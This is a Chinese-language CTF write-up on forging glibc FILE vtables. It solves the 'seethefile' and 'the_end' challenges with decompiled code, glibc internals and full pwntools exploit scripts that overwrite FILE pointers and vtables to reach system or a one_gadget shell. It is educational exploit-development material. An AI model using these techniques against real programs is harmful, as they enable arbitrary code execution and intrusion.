Pwn FIEL 利用之伪造 vtable

fopen 返回的是一个 FILE 指针, 而 FILE 附近有 vtable , 如果我们可以修改 vtable, 那么在调用到对应的 vtable 中的函数时, 就能够控制程序流了.

伪造 vtable 的攻击方法大致分为两类. 一种是找到对应位置修改它, 另一种是直接伪造 FILE 结构, 并使一个 FILE 指针指向伪造的这个结构.

更详细的 FILE 结构见 这里

直接修改的需要知道 FILE 的位置在哪. 对于 stdin, stdout, stderr 来说, 它们在 libc 的数据段. 如果程序有取消缓存区, 那么在程序的 bss 节上能够找到指向它们的指针. 对于其他的程序使用 fopen 打开的文件, FILE 结构在堆上 (使用 malloc 分配).

需要注意的是, 由于 IO_FILE_plus 结构中的 vtable 是 const 修饰的, 默认的在 libc 只读数据段, 所以 vtable 中的函数指针不能直接更改. 于是, 只能考虑修改 vtable 这个指针, 使其指向一块我们能够控制的内存, 在块内存上伪造 vtable.

一般可以控制的是 FILE 指针变量 (如 FILE * file = fopen(), 改变 file 的值). 所以我们伪造的是 _IO_FILE_plus 结构. 于是首先需要伪造 _IO_FILE file. _IO_FILE 有一个变量锁 (指针), 需要让这个指针指向一块全零的地方, 才不会占有锁, 才能够执行函数.

32 位 ELF, 没开 canary, 没开 PIE. 菜单题.

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char nptr[32]; // [esp+Ch] [ebp-2Ch] BYREF
  unsigned int v5; // [esp+2Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  init();
  welcome();
  while ( 1 )
  {
    menu();
    __isoc99_scanf("%s", nptr);
    switch ( atoi(nptr) )
    {
      case 1:
        openfile();
        break;
      case 2:
        readfile();
        break;
      case 3:
        writefile();
        break;
      case 4:
        closefile();
        break;
      case 5:
        printf("Leave your name :");
        __isoc99_scanf("%s", name);
        printf("Thank you %s ,see you next time\n", name);
        if ( fp )
          fclose(fp);
        exit(0);
        return result;
      default:
        puts("Invaild choice");
        exit(0);
        return result;
    }
  }
}

openfile:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void __cdecl openfile()
{
  if ( fp )
  {
    puts("You need to close the file first");
  }
  else
  {
    memset(magicbuf, 0, 0x190u);
    printf("What do you want to see :");
    __isoc99_scanf("%63s", filename);
    if ( strstr(filename, "flag") )
    {
      puts("Danger !");
      exit(0);
    }
    fp = fopen(filename, "r");
    if ( fp )
      puts("Open Successful");
    else
      puts("Open failed");
  }
}

以只读模式打开一个文件, 文件名不能含有 flag. 把 FILE 指针保存在全局变量 fp 上.

readfile:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void readfile(void)
{
  memset(magicbuf, 0, 0x190u);
  if ( fp )
  {
    if ( fread(magicbuf, 0x18Fu, 1u, fp) )
      puts("Read Successful");
  }
  else
  {
    puts("You need to open a file first");
  }
}

如果 fp 不为空, 将 fp 的内容写到全局变量 magicbuf 上.

writefile:

1
2
3
4
5
6
7
8
9
void writefile(void)
{
  if ( strstr(filename, "flag") || strstr(magicbuf, "FLAG") || strchr(magicbuf, '}') )
  {
    puts("you can't see it");
    exit(1);
  }
  puts(magicbuf);
}

如果 magicbuf 里的内容包含 flag / FLAG 则退出; 否则将其输出到屏幕上.

closefile:

1
2
3
4
5
6
7
8
void closefile(void)
{
  if ( fp )
    fclose(fp);
  else
    puts("Nothing need to close");
  fp = 0;
}

将 fp 关闭. 同时赋值 fp 为 NULL.

case 5:

1
2
3
4
5
6
        printf("Leave your name :");
        __isoc99_scanf("%s", name);
        printf("Thank you %s ,see you next time\n", name);
        if ( fp )
          fclose(fp);
        exit(0);

向数据段上的 name 输入数据, 然后关闭 fp. 这里使用 %s, 可以造成溢出. 查看一下布局, name 在 0x0804B260, fp 在 0x0804B280, 也就是这里可以覆盖 fp 这个 FILE 指针.

那么, 这里就可以自己伪造一个 FILE 和 vtable, 覆盖 fp 到这里. 之后会调用 fclose, 那么找到 fclose 第一次调用的 vtable 中的函数, 布置一下指针为 system. 由于 vtable 中的函数指针第一个参数都是 FILE 指针, system 的第一个参数是字符串指针, 所以需要把 FILE 布置成字符串, 这样就能够执行命令了.

技巧
由于这些操作 FILE 的函数经常检查文件是否有相应权限, 即检查 FILE 中两个 flag, 尤其是第一个 _flags 所以如果打不通, 考虑一下是不是因为 flag 的问题. 具体这个值应该是多少, 可以调试确定.

这里就只差一步, 如何泄漏 libc 了. 我们可以打开 /proc/self/maps 来查看映射, 这里就有 libc 映射的地址.

pwntools 中集成了伪造 FILE 的函数, 直接用就行. 详见 文档

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(os='linux', arch='i386', log_level='debug')

procname = './seethefile'

# io = process(procname)
io = remote('chall.pwnable.tw', 10200)
elf = ELF(procname)

libc = ELF('./libc_32.so.6')

def n2b(x):
  return str(x).encode()

def op(x):
  io.sendlineafter(b'Your choice :', n2b(x))

def openfile(filename):
  op(1)
  io.sendlineafter(b'What do you want to see :', filename)

def readfile():
  op(2)

def writefile():
  op(3)

def closefile():
  op(4)

def quit(name):
  op(5)
  io.sendlineafter(b'Leave your name :', name)

name_buf = elf.sym['name']
null_addr = name_buf
fake_FILE_addr = name_buf + 0x30
fake_vtable = name_buf + 0x200
def main():
  pause()
  openfile(b'/proc/self/maps')
  readfile()
  readfile()
  writefile()
  io.recvuntil(b'f7')
  libc.address = int(b'0xf7' + io.recv(6), 16)
  success(f'libc address: {hex(libc.address)}')

  fake_FILE = FileStructure(null_addr)    # set lock
  fake_FILE.flags = 0xffffdfff            # set flag
  fake_FILE._IO_read_ptr = b';/bi'        # set ;/bin/sh
  fake_FILE._IO_read_end = b'n/sh'
  fake_FILE.vtable = fake_vtable          # set vtable

  payload  = b'\x00' * 32                 # fill name
  payload += p32(fake_FILE_addr)          # overleap fp
  payload  = payload.ljust(0x30, b'\x00')
  payload += bytes(fake_FILE)             # fill fake FILE
  payload  = payload.ljust(0x200, b'\x00')
  payload += p32(libc.sym['system']) * 21 # fill all function ptr to system

  quit(payload)

  io.interactive()

if __name__ == '__main__':
  main()

64 位 ELF 程序, 除了 canary 保护全开, Full RELRO. libc 版本 2.23

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

程序给了 libc 地址, 然后使用系统调用关闭了 stdout 和 stderr. 接着可以任意地址写 5 个字节. 然后 exit.

这里主要利用到了 exit 里会对程序的打开文件进行 flush, 确保缓冲区中的数据能够正确写入到文件中去.

先来看一下 exit 的源码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
__run_exit_handlers (int status, struct exit_function_list **listp,
         bool run_list_atexit)
{
  ... // 一些和我们现在讨论的东西无关的代码
  if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
  _exit (status);
}
void
exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true);
}
libc_hidden_def (exit)

可以看到, 最后会调用一个 __libc_atexit 这样的钩子. 这里调试可以找到具体调用了啥, 由于我不会, 所以我们跳过这部分内容. 可以看这一篇文章, 讲得很好: exit()分析与利用

这个钩子最终指向 fcloseall 函数:

1
2
3
4
5
6
7
int
__fcloseall (void)
{
  /* Close all streams.  */
  return _IO_cleanup ();
}
weak_alias (__fcloseall, fcloseall)

继续跟进:

1
2
3
4
5
6
_IO_cleanup (void)
{
  int result = _IO_flush_all_lockp (0);
  _IO_unbuffer_all ();
  return result;
}

这里又先后调用了两个函数. 先来看 _IO_flush_all_lockp, 这里省略一些关于多线程安全的处理.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
int _IO_flush_all_lockp (int do_lock) {
  int result = 0;
  struct _IO_FILE *fp;
  ... 
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL) {
    ...
    if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0
          && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))
        && _IO_OVERFLOW (fp, EOF) == EOF)
      result = EOF;
    ...
    fp = fp->_chain;
  }
  ...
  return result;
}

可以看到, 这个函数的功能就是遍历所有打开文件, 看他的写缓冲区是否有数据, 有的话就调用 vtable 中的 _IO_OVERFLOW 刷新缓冲区.

再来看 _IO_unbuffer_all, 省略多线程部分和对宽字节的处理.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
static void _IO_unbuffer_all (void) {
  struct _IO_FILE *fp;
  for (fp = (_IO_FILE *) _IO_list_all; fp; fp = fp->_chain) {
    if (! (fp->_flags & _IO_UNBUFFERED)
    /* Iff stream is un-orientated, it wasn't used. */
        && fp->_mode != 0) {
      ...
      // dealloc_buffers 是一个全局变量
      // 仅在已经调用过 buffer_free 函数后才为真
      // 我也不知道什么时候会调用这个函数
      // 好像在什么释放缓冲区的地方看到过
      // 下次碰到了再来补
      if (! dealloc_buffers && !(fp->_flags & _IO_USER_BUF)) {
          fp->_flags |= _IO_USER_BUF;
          fp->_freeres_list = freeres_list;
          freeres_list = fp;
          fp->_freeres_buf = fp->_IO_buf_base;
        }
      _IO_SETBUF (fp, NULL, 0);
      ...
    }
    ...
  }
}

可以看到, 这个函数是遍历打开文件, 如果具有缓冲区 (开辟了一块缓冲区, 不管有没有数据), 则调用 vtable 中的 _IO_SETBUF 将缓冲区大小设为 0, 即释放缓冲区.

从这里我们可以看到, exit 是能够调用 _IO_OVERFLOW_IO_SETBUF 两个 vtable 函数的. 由于程序使用系统调用关闭 stdout 和 stderr, 而不是 fclose, 所以打开文件链表上还是有 _IO_2_1_stdin__IO_2_1_stderr_ 的.

调试一下, 可以看到, 仅有 stdout 符合触发 _IO_SETBUF 的条件, 于是我们的目标就是劫持 stdout 的 vtable.

但由于只能修改 5 个字节, 难以直接伪造一个 vtable. 这里就要考虑如何合理利用这 5 字节写了. 需要修改 stdout 的 vtable ptr, 这里可能就需要 1 - 2 个自己的修改; 然后需要伪造 _IO_SETBUF 指针, 可能又需要 2 - 3 个字节. (因为是改指令地址, 一般有用的都比较远, 所以需要改的更多一点). 如果想 system("sh"), 至少又需要改 3 个字节 (FILE 的 flag 不能动, 所以要在后面写上 ;sh), 显然是不够用的. 只能考虑 one gadget 了.

于是, 目标就是找到一个有 libc 地址的这么一个可写位置, 写低位若干个字节, 使其变为 one gadget. 然后计算一下 fake vtable 地址, 写 vtable ptr 的若干个低位字节, 使其指向 fake vtable.

由于 one gadget 相对 libc 的偏移有 3 个字节这么多, 所以可以尝试用 3 个字节写 one gadget, 2 个字节写 vtable ptr. 这里可以调试来找如何写. 下面用 rizin 来演示调试过程.

某次调试, libc 地址为 0x7f7b91d64000.

使用 e search.in=dbg.maps.rw 设置搜索范围为可写的段. 尝试在这里搜索 libc 地址前三个字节 (后三个字节用来覆盖), 找到的地方作为写入 one gadget 的目标地址. 在本例中, 为 b'\x91\x7b\x7f' (注意字节序)

同时由于我们只能修改 vtable ptr 的后两个字节, 所以目标地址的前四个字节要和 vtable ptr 的前四个字节一致. 通过泄漏出的 libc 地址, 找到 stdout 的 vtable ptr. 在本例中, 为 0x7f7b921276e0.

于是我们的搜索指令为: / \x92\x7b\x7f | grep 0x7f7b9212.

搜索合适位置
搜索合适位置

找到的地址都可以用来作为 fake vtable 的 fake setbuf 指针位置. (一共有三百个合适的位置, 还是很多的, 甚至可以只修改 4 个字节, 即只用一个字节修改 vtable ptr, 这样的合适位置也有三个.)

这里, 我们就用找到的第一个位置, 0x7f7b92128008 (找的是前三个字节的位置, 需要 -3 才是地址位置), 来说明. 一个可用的 one gadget 加上 libc 基地址为 0x7f7b91e542b0, 所以要把 0x7f7b91e542b0 写到 0x7f7b92128008 上. 然后由于 setbuf 函数指针在 vtable 中的偏移是 0x58, 所以还需要把 0x7f7b92128008 - 0x58, 即 0x7f7b92127fb0 写到 stdout 的 vtable ptr 处, 即 0x7f7b921296f8.

写入结束, exit 就能够触发了. 得到 shell 之后, 由于关闭了 stdout 和 stderr, 所以需要用 >&0 重定向到 stdin (也是屏幕) 输出.

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
import subprocess
context(os='linux', arch='amd64', log_level='debug')

procname = './the_end'
libcname = './libc-2.23.so'

io = process(procname, stdin=PTY)
# io = remote('150.109.44.250',20002)
elf = ELF(procname)
libc = ELF(libcname)

def n2b(x):
  return str(x).encode()

def one_gadgets():
  result = [int(i) for i in subprocess.check_output(['one_gadget', '-l', '1', '--raw', libcname]).decode().split(' ')]
  debug(f'search one gadgets: {[hex(i) for i in result]}')
  return result

def main():
  sleep_addr = int(io.readline()[15:29], 16)
  libc.address = sleep_addr - libc.sym['sleep']
  success(f'libc base: {hex(libc.address)}')
  success(f'stdout: {hex(libc.sym["_IO_2_1_stdout_"])}')

  one = one_gadgets()[5] + libc.address

  fake_vtable_setbuf_addr = libc.address + 0x3c4008
  fake_vtable = fake_vtable_setbuf_addr - 0x58
  stdout_vtable_ptr = libc.sym['_IO_2_1_stdout_'] + 0xd8

  success(f'should write {hex(fake_vtable)} to addr {hex(stdout_vtable_ptr)}')
  success(f'should write {hex(one)} to addr {hex(fake_vtable_setbuf_addr)}')

  tmp = fake_vtable
  for i in range(2):
    io.send(p64(stdout_vtable_ptr + i))
    io.send(p8(tmp & 0xff))
    tmp >>= 8

  tmp = one
  for i in range(3):
    io.send(p64(fake_vtable_setbuf_addr + i))
    io.send(p8(tmp & 0xff))
    tmp >>= 8

  io.sendline(b'sh >&0')
  io.interactive()

if __name__ == '__main__':
  main()
技巧
pwntools 本地调试的时候, stdin 重定向到了 PIPE, 所以使用 >&0 无法输出到屏幕上. 在 process 中传入参数 stdin=PTY 即可将 stdin 重定向到 tty 上, 也就是 process 默认 stdout 的重定向. 而远程使用 socket, 并没有这个问题.
技巧
不想每条指令都加 >&0, 可以执行一个 sh >&0, 执行另一 shell, 把这个 shell 的输出重定向到 stdin. 之后执行任何命令都不用加 >&0 了.

这题还可以劫持 exit 程序流, 下次有机会学了再写.